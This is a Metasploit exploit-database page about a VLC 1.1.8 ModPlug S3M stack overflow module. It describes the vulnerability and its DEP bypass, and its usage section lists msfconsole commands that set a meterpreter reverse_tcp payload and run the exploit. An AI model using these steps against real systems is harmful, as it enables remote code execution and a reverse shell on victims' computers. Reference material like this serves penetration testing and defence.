VideoLAN VLC ModPlug ReadS3M Stack Buffer Overflow | Metasploit Exploit Database (DB)

VideoLAN VLC ModPlug ReadS3M Stack Buffer Overflow

This module exploits an input validation error in libmod_plugin as included with VideoLAN VLC 1.1.8. All versions prior to version 1.1.9 are affected. By creating a malicious S3M file, a remote attacker could execute arbitrary code. Although other products that bundle libmodplug may be vulnerable, this module was only tested against VLC. NOTE: As of July 1st, 2010, VLC now calls SetProcessDEPPoly to permanently enable NX support on machines that support it. As such, this module is capable of bypassing DEP, but not ASLR.

Search Other Modules


Exploit Rank

  • Average

Exploit Authors

  • jduck < jduck [at] metasploit.com >

Vulnerability References


Exploit Targets

  • 0 - VLC 1.1.8 on Windows XP SP3 (default)

Exploit Development


Similar Exploit Modules


Exploit Usage Information

$ msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use exploit/windows/fileformat/vlc_modplug_s3m
msf exploit(vlc_modplug_s3m) > show payloads
msf exploit(vlc_modplug_s3m) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(vlc_modplug_s3m) > set LHOST [MY IP ADDRESS]
msf exploit(vlc_modplug_s3m) > exploit


Exploit Module Options

FILENAME The file name. (default: msf.s3m)
ContextInformationFile The information file that contains context information
DisablePayloadHandler Disable the handler code for the selected payload
EnableContextEncoding Use transient context when encoding payloads
VERBOSE Enable detailed status messages
WORKSPACE Specify the workspace for this module
WfsDelay Additional delay when waiting for a session